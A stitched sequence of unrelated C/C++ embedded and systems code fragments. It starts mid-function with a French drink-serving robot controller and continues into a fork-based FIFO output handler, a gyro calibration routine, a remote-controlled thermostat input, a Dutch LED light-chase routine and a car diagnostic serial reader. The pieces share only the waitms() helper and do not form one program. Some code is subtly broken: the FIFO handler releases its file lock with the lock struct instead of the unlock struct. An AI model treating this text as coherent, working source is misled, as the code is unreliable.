if(_PINA5 == 1 )
{
set_servo(3, 20);
}
else set_servo(3, 50);
*/
if(_PINA0 == 1)
{
sortie: PORTD = 0b11000110;
lcd_gotoxy(0,0);
lcd_clrscr();
lcd_puts("Payez le gentil");
lcd_gotoxy(0,1);
lcd_puts("serveur SVP");
while(_PINA5 == 0);
PORTD = 0b00100001;
lcd_gotoxy(0,0);
lcd_clrscr();
lcd_puts("Et un Ricard");
for(i=0; i < 69; i++)
{
set_servo(0, 20 + i);
waitms(20);
}
i = 0;
while(_PINA2 == 0)
{
set_servo(1, 80 - i);
waitms(20);
i++;
}
pos_servo = i;
while(_PINA0 == 1 && _PINA2 == 1 && _PINA1 == 0) _PORTA7 = 1;
if(_PINA2 == 1 && _PINA0 == 1)
{
set_servo(2, 30);
waitms(400);
set_servo(2, 70);
waitms(400);
set_servo(2, 30);
waitms(400);
set_servo(2, 70);
waitms(400);
set_servo(2, 30);
waitms(400);
set_servo(2, 70);
waitms(400);
set_servo(2, 30);
waitms(400);
set_servo(2, 70);
waitms(400);
set_servo(2, 30);
waitms(400);
set_servo(2, 70);
waitms(400);
set_servo(2, 50);
flag_error = 0;
}
else
{
PORTD = 0b10000100;
lcd_gotoxy(0,0);
lcd_clrscr();
lcd_puts("Nous avons");
lcd_gotoxy(0,1);
lcd_puts("un probleme.");
flag_error = 1;
}
_PORTA7 = 0;
waitms(5000);
for(i=0; i < 70; i++)
{
set_servo(1, 10 + i);
waitms(30);
}
if(flag_error == 0)
{
lcd_gotoxy(0,0);
lcd_clrscr();
lcd_puts("Et voila.");
PORTD = 0b01000010;
}
while( _PINA0 == 1)
{
set_servo(4, 10);
set_servo(3, 90);
waitms(200);
set_servo(4, 50);
set_servo(3, 50);
waitms(200);
set_servo(4, 10);
set_servo(3, 90);
waitms(200);
set_servo(4, 50);
set_servo(3, 50);
waitms(2000);
}
for(i=0; i < 70; i++)
{
set_servo(0, 85 - i);
waitms(30);
}
if(flag_error == 0)
{
lcd_clrscr();
lcd_gotoxy(0,0);
lcd_puts("A votre sante.");
}
waitms(2000);
}
else
{
PORTD = 0b01100011;
//set_servo(0, 20);
//set_servo(1, 80);
lcd_gotoxy(0,0);
lcd_clrscr();
lcd_puts("Je suis");
lcd_gotoxy(0,1);
lcd_puts("Roberto");
for(i=0; i< 100;i++)
{
waitms(20);
if(_PINA0 == 1) goto sortie;
}
lcd_gotoxy(0,0);
lcd_clrscr();
lcd_puts("Le robot");
lcd_gotoxy(0,1);
lcd_puts("serveur");
for(i=0; i< 100;i++)
{
waitms(20);
if(_PINA0 == 1) goto sortie;
}
lcd_gotoxy(0,0);
lcd_clrscr();
lcd_puts("Je fais parti");
lcd_gotoxy(0,1);
lcd_puts("de Robopoly");
set_servo(4, 10);
set_servo(3, 90);
waitms(200);
set_servo(4, 50);
set_servo(3, 50);
for(i=0; i< 100;i++)
{
waitms(20);
if(_PINA0 == 1) goto sortie;
}
lcd_gotoxy(0,0);
lcd_clrscr();
lcd_puts("Un Ricard");
lcd_gotoxy(0,1);
lcd_puts("Un vrai.");
for(i=0; i< 100;i++)
{
waitms(20);
if(_PINA0 == 1) goto sortie;
}
}
/*
if(_PINA2 == 0)
{
waitms(200);
set_servo(1, 80);
}
else
{
waitms(200);
set_servo(1, 20);
}
*/
/*
set_servo(0, 30);
set_servo(1, 30);
set_servo(2, 30);
set_servo(3, 40);
set_servo(4, 40);
waitms(500);
set_servo(0, 70);
set_servo(1, 70);
set_servo(2, 70);
set_servo(3, 60);
set_servo(4, 60);
waitms(500);
*/
/*
for(i=0; i<20;i++)
{
for(j=0;j<10;j++)
{
PORTD = 0b00000100;
waitms(20-i+1);
PORTD = 0b00000001;
waitms((i+1));
PORTD = 0b00000000;
waitms(5);
}
}
for(i=0; i<20;i++)
{
for(j=0;j<10;j++)
{
PORTD = 0b00000001;
waitms(20-i+1);
PORTD = 0b00000010;
waitms((i+1));
PORTD = 0b00000000;
waitms(5);
}
}
for(i=0; i<20;i++)
{
for(j=0;j<10;j++)
{
PORTD = 0b00000010;
waitms(20-i+1);
PORTD = 0b00000100;
waitms((i+1));
PORTD = 0b00000000;
waitms(5);
}
}
*/
}
return 0;
}
static int handle_output_fifo (char *name_buffer, char *name_fifo_out)
{
int data_count, time_count, sres, fifo_out, admin_out, pid, buffer;
buffer = open(name_buffer,O_RDONLY);
if ( -1 == buffer )
/* failed */
exit_error("open buffer <id>_out failed");
pid = fork();
if ( -1 == pid )
/* failed */
exit_error("fork failed");
/* are we parent ? */
if ( 0 != pid )
/* yes - return with child pid */
return pid;
/* no - We're the output handling child. */
while(1)
{
char *outbuf;
int time=0;
/* Open output fifo - will block until connected */
DEBUG( LID, "output: waiting for connection");
do
{
/* start with pause, to allow close operation to recover, before
reopening */
time += waitms(100);
/* Open in non - blocking will return -1 if not connected */
fifo_out = open(name_fifo_out,O_WRONLY|O_NONBLOCK);
/* Have we been here for 10 sec ? */
if (time>10000)
{
/* Yes - give up and terminate */
DEBUG( LID, "output: giving up waiting");
close(buffer);
_exit(1);
}
/* Keep going until client is connected */
} while( -1 == fifo_out);
DEBUG( LID, "output: connected\n");
/* zero counters */
data_count = 0; time_count = 0;
outbuf = (char*)malloc(MAX_CHUNK);
while(1)
{
DEBUG(LID, "output: time is %d ms, data is %d bytes",time_count, data_count);
if (1 != read(buffer,&outbuf[data_count],1))
{
/* Yes - simply make 50 ms pause */
/* consider feeding browser 0's to keep connection */
time_count += waitms(50);
}
else
{
if (data_count==0)
time_count=0;
data_count++;
}
/* give the browser manageable chunks */
if (data_count>=MAX_CHUNK)
{
DEBUG(LID, "output: max data reached");
break;
}
/* avoid timeout in browser, if no data */
if (time_count>10000)
{
DEBUG(LID, "output: max time reached");
break;
}
/* Transmit data after 200 ms */
if (data_count && time_count)
{
DEBUG(LID, "output: timeout after %d ms (%d bytes)",time_count, data_count);
break;
}
}
if (data_count != 0 )
{
/* write data to fifo */
DEBUG(LID, "output: writing %d bytes",data_count);
write(fifo_out,outbuf,data_count);
/* make a blocking lock request on admin file */
admin_out = open(name_admin, O_WRONLY|O_CREAT|O_APPEND, -1);
struct flock fl = { F_WRLCK };
fcntl (admin_out, F_SETLKW, &fl);
/* duplicate data to admin file */
char size_buf[6];
sprintf(size_buf,"%.5d",pid_terminal);
write(admin_out,size_buf,5);
write(admin_out,":",1);
sprintf(size_buf,"%.4d",data_count);
write(admin_out,size_buf,4);
write(admin_out,":",1);
write(admin_out,outbuf,data_count);
/* Free and close fifo and adminstrative file */
struct flock fu = { F_UNLCK };
fcntl (admin_out, F_SETLKW, &fl);
close(admin_out);
}
free(outbuf);
close (fifo_out);
}
close(buffer);
_exit(1);
}
void gyroOffset() {
waitms(200);
actual_offset = gyroReadAvg(0xFF, 'z');
waitms(200);
integral = 0;
}
void set_temp_init(void) {
u16 value;
u08 step = 0, empty, tmp[2];
u08 day[3], month[3], year[5];
u08 temp1[3], temp2[3];
u08 skipLoop = 0;
LCD_write_command(0x0f);
waitms(20);
do {
empty = 0;
LCD_gotoxy((2 + step), 2);
value = decode_rc5();
switch (value) {
case KEY_0: {
LCD_puts("0");
strcpy(tmp, "0");
break;
}
case KEY_1: {
LCD_puts("1");
strcpy(tmp, "1");
break;
}
case KEY_2: {
LCD_puts("2");
strcpy(tmp, "2");
break;
}
case KEY_3: {
LCD_puts("3");
strcpy(tmp, "3");
break;
}
case KEY_4: {
LCD_puts("4");
strcpy(tmp, "4");
break;
}
case KEY_5: {
LCD_puts("5");
strcpy(tmp, "5");
break;
}
case KEY_6: {
LCD_puts("6");
strcpy(tmp, "6");
break;
}
case KEY_7: {
LCD_puts("7");
strcpy(tmp, "7");
break;
}
case KEY_8: {
LCD_puts("8");
strcpy(tmp, "8");
break;
}
case KEY_9: {
LCD_puts("9");
strcpy(tmp, "9");
break;
}
case KEY_LEFT: {
if (step == 5) {
step -= 4;
} else if (step == 11) {
step -= 5;
} else {
step--;
}
skipLoop = 1;
break;
}
case KEY_RIGHT: {
empty = 1;
break;
}
default: {
step--;
empty = 1;
break;
}
}
if(skipLoop) {
skipLoop = 0;
continue;
}
if (!empty) {
switch (step) {
case 0:
strcpy(temp1, tmp);
break;
case 1:
strcat(temp1, tmp);
break;
case 5:
strcpy(temp2, tmp);
break;
case 6:
strcat(temp2, tmp);
break;
default:
break;
}
}
step++;
if (step == 2)
step += 3;
if (step == 7)
step += 4;
} while (step <= 11);
LCD_write_command(0x0C);
if (m_dayTemp >= 0 && m_nightTemp >= 0) {
m_requiresSettings |= SETTING_TEMP;
}
m_dayTemp = (atoi(temp1) % 90);
m_nightTemp = (atoi(temp2) % 90);
m_offsetTemp = (atoi(tmp) % 90);
}
void rider (int select,int kleur,int tijd) //Select : 1=aan-links,2=uit-links,3=aan-rechts,4=uit-rechts,5=loop-links,6=loop-rechts,7=rider-links,8=rider-rechts Kleur : 1=blauw,2=groen,3=cyaan,4=rood,5=paars,6=geel,7=wit
{
switch (select)
{
case 1 : ledon (1,kleur); waitms(tijd); ledon (2,kleur); waitms(tijd); ledon (3,kleur); waitms(tijd); ledon (4,kleur); waitms(tijd); break;
case 2 : ledoff(1,kleur); waitms(tijd); ledoff(2,kleur); waitms(tijd); ledoff(3,kleur); waitms(tijd); ledoff(4,kleur); waitms(tijd); break;
case 3 : ledon (4,kleur); waitms(tijd); ledon (3,kleur); waitms(tijd); ledon (2,kleur); waitms(tijd); ledon (1,kleur); waitms(tijd); break;
case 4 : ledoff(4,kleur); waitms(tijd); ledoff(3,kleur); waitms(tijd); ledoff(2,kleur); waitms(tijd); ledoff(1,kleur); waitms(tijd); break;
case 5 : ledon (1,kleur); waitms(tijd); ledoff(1,kleur); ledon (2,kleur); waitms(tijd); ledoff(2,kleur);
ledon (3,kleur); waitms(tijd); ledoff(3,kleur); ledon (4,kleur); waitms(tijd); ledoff(4,kleur); break;
case 6 : ledon (4,kleur); waitms(tijd); ledoff(4,kleur); ledon (3,kleur); waitms(tijd); ledoff(3,kleur);
ledon (2,kleur); waitms(tijd); ledoff(2,kleur); ledon (1,kleur); waitms(tijd); ledoff(1,kleur); break;
case 7 : ledon (1,kleur); waitms(tijd); ledon (2,kleur); waitms(tijd); ledon (3,kleur); waitms(tijd); ledon (4,kleur); waitms(tijd);
ledoff(1,kleur); waitms(tijd); ledoff(2,kleur); waitms(tijd); ledoff(3,kleur); waitms(tijd); ledoff(4,kleur); waitms(tijd); break;
case 8 : ledon (4,kleur); waitms(tijd); ledon (3,kleur); waitms(tijd); ledon (2,kleur); waitms(tijd); ledon (1,kleur); waitms(tijd);
ledoff(4,kleur); waitms(tijd); ledoff(3,kleur); waitms(tijd); ledoff(2,kleur); waitms(tijd); ledoff(1,kleur); waitms(tijd); break;
default: return; break;
}
}
bool SSMP1communication_procedures::getNextData(std::vector<char> * data, unsigned int timeout)
{
if (_currentaddr < 0) return false;
TimeM time;
char hb = (_currentaddr & 0xffff) >> 8;
char lb = _currentaddr & 0xff;
std::vector<char> rbuf;
bool ok = false;
time.start();
while (static_cast<unsigned int>(time.elapsed()) < timeout)
{
// Read out port buffer:
do
{
ok = _diagInterface->read(&rbuf);
if (ok && rbuf.size())
_recbuffer.insert(_recbuffer.end(), rbuf.begin(), rbuf.end());
} while (ok && rbuf.size());
#ifdef __FSSM_DEBUG__
if (!ok)
std::cout << "SSMP1communication_procedures::getNextData(...): communication error.\n";
#endif
// Try to find/get dataset:
if (ok && (_recbuffer.size() > 2))
{
// Synchronize with received data (if necessary):
if (!_sync)
syncToRecData();
// Extract data from latest received dataset:
if (_sync && (_recbuffer.size() > 2))
{
unsigned char olBytes = _recbuffer.size() % 3;
unsigned int msgStartIndex = _recbuffer.size() - 3 - olBytes;
if ((_recbuffer.at(msgStartIndex) == hb) && (_recbuffer.at(msgStartIndex+1) == lb))
{
/* NOTE: There could have been an overflow of the drivers receive-buffer.
If this is the case and we nevertheless reached this point
=> hb=lb
=> we could extract old (but correct) data
*/
// Extra-check to avoid extracting old data (if a buffer-overflow occured):
if (hb == _recbuffer.at(msgStartIndex+2)) // && _recbuffer.size > XXX
{
// NOTE: We could extract old (but correct) data
if (olBytes > 0)
{
if (_recbuffer.at(msgStartIndex+3) != hb)
{
_sync = false;
}
else if (olBytes > 1)
{
if (_recbuffer.at(msgStartIndex+4) == hb)
_sync = false;
}
}
}
/* NOTE: at this point we may have lost snychronisation (due to a buffer overflow),
but we are at least sure that the data byte is correct ! */
// Extract data, clean up buffer:
if (_sync)
{
data->push_back(_recbuffer.at(msgStartIndex+2));
_recbuffer.erase(_recbuffer.begin(), _recbuffer.begin()+msgStartIndex+3);
#ifdef __FSSM_DEBUG__
std::cout << "SSMP1communication_procedures::getNextData(...): received data: "
<< std::hex << std::showbase << (static_cast<int>(data->back()) & 0xff) << '\n';
#endif
return true;
}
}
else // may happen, if we got an overflow of the drivers receive-buffer
_sync = false;
#ifdef __FSSM_DEBUG__
if (!_sync)
std::cout << "SSMP1communication_procedures::getNextData(...): lost synchronisation.\n";
#endif
}
}
// Delay before next iteration:
waitms(10);
}
#ifdef __FSSM_DEBUG__
std::cout << "SSMP1communication_procedures::getNextData(...): timeout.\n";
#endif
return false;
}
